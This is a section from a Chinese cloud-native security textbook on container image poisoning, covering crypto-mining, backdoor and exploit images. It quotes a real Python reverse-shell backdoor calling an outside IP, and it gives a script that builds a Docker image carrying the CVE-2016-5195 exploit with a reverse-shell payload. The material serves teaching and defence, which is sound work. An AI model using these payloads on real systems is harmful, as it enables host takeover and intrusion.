云原生安全:攻防实践与体系构建
上QQ阅读APP看书,第一时间看更新

3.3.2 镜像投毒

镜像投毒是一个宽泛的话题。它指的是攻击者通过某些方式,如上传恶意镜像到公开仓库、入侵系统后上传镜像到受害者本地仓库,以及修改镜像名称并假冒正常镜像等,欺骗、诱导受害者使用攻击者指定的恶意镜像创建并运行容器,从而实现入侵或利用受害者的主机进行恶意活动的行为。

根据目的不同,常见的镜像投毒有三种类型:投放恶意挖矿镜像、投放恶意后门镜像和投放恶意exploit镜像。

1.投放恶意挖矿镜像

这种投毒行为主要是为了欺骗受害者在机器上部署容器,从而获得经济收益。

事实上,已经有研究员发现基于Docker Hub的恶意挖矿镜像投放行为。2018年6月,一份研究报告[1]指出,一个名为docker123321的账号向Docker Hub上陆续上传了17个包含挖矿代码的恶意镜像。截至Docker Hub官方移除这些镜像,它们已经累计被下载超过500万次。这也显示出,人们并没有对非官方仓库或来源不明的容器镜像保持足够的警惕性。

据统计,黑客借助这一投毒行为获得了时值约9万美元的门罗币。

2.投放恶意后门镜像

这种投毒行为主要是为了实现对容器的控制。通常,受害者在机器上部署容器后,攻击者会收到容器反弹过来的shell。

相比之下,这种类型的投毒可能会少一些。因为在隔离有效的情况下,即使攻击者拿到一个容器内部的shell,攻击面仍然有限。当然,攻击者也可能借助这个shell在容器内部署一些挖矿程序,从而获益。在2017年9月,有用户在Docker Hub的反馈页面中反馈[2]前述docker123321账号上传的Tomcat镜像包含后门程序:


/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_
    INET,socket.SOCK_STREAM);s.connect((\\\"98.142.140.13\\\",8888));os.dup2(s.
    fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.
    call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\\n\" >> /mnt/etc/crontab

结合该账号上传的其他恶意镜像的挖矿行为来看,有理由推测攻击者在连接上述后门后可能会进而部署挖矿程序,从而获得经济收益。

3.投放恶意exploit镜像

这种投毒行为是为了在部署容器后尝试利用宿主机上的各种漏洞来实现容器逃逸等目的,以实现对受害者机器更强的控制。

随着容器和云原生技术的普及,相关被曝光的安全漏洞势必会增多,因此这种镜像投毒行为很可能会越来越常见。从攻防对抗的角度来看,恶意exploit镜像只不过是一种攻击载荷投递方式,其特点在于隐蔽性和可能的巨大影响范围。试想,如果Docker Hub上某一热门镜像包含了某1day甚至0day漏洞的利用程序,理论上攻击者将可能一下子获取上百万台计算机的控制权限(这里我们甚至还没有考虑集群的情况)。

用来制作恶意exploit镜像的大多是容器逃逸类型的漏洞,如CVE-2016-5195或CVE-2019-5736等。我们以CVE-2016-5195为例来实践一下,漏洞利用程序来自scumjr[3],该利用程序的载荷是反弹shell。

编写如下脚本,以自动化构建恶意镜像[4]


#!/bin/bash
ATTACKER_IP=REVERSE_SHELL_IP
ATTACKER_PORT=REVERSE_SHELL_PORT
TEMP_DIR=./temp-dirtycow
set -e -x
# build ExP
sudo apt update && sudo apt install -y build-essential nasm
mkdir -p $TEMP_DIR
git clone https://github.com/scumjr/dirtycow-vdso.git $TEMP_DIR
cd $TEMP_DIR
make
cd ..
# build malicious image
cat << EOF > ./Dockerfile
FROM ubuntu:18.04

ADD $TEMP_DIR/0xdeadbeef /entrypoint
RUN chmod u+x /entrypoint
ENTRYPOINT ["/entrypoint", "$ATTACKER_IP:$ATTACKER_PORT"]
EOF
sudo docker build -t cve-2016-5195:v1.0 .
rm ./Dockerfile
rm -rf $TEMP_DIR

上述脚本的步骤可大致归为:

1)构建二进制漏洞利用程序。

2)基于Ubuntu镜像构建恶意镜像,将上一步中的二进制漏洞利用程序作为镜像的入口点(Entrypoint)。

整个构建过程比较简单。构建完成后,先使用nc等工具开启反弹shell监听,然后执行如下命令模拟受害者创建并运行容器即可:


sudo docker run --privileged --rm cve-2016-5195:v1.0

注:在新版本Docker环境下,上述CVE-2016-5195的漏洞利用程序执行时会遇到段错误,因此笔者添加了--privileged选项来确保程序顺利执行。效果如图3-7所示。

图3-7 使用包含CVE-2016-5195漏洞利用程序的镜像创建容器

无论是在现实世界还是虚拟世界中,软件供应链埋藏的问题和隐患往往是危害巨大的。就像水受到了污染,后续用水加工的产品都不健康。同样在IT行业,如果软件供应链出现安全问题,即便防御体系固若金汤,其最终效果很可能会大打折扣。

[1] https://mackeeper.com/blog/post/cryptojacking-invades-cloud-how-modern-containerization-trend-isexploited-by-attackers/。

[2] https://github.com/docker/hub-feedback/issues/1121#issuecomment-326664651。

[3] https://github.com/scumjr/dirtycow-vdso。

[4] 随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0303- 供应链攻击/02-CVE-2016-5195-malicious-image。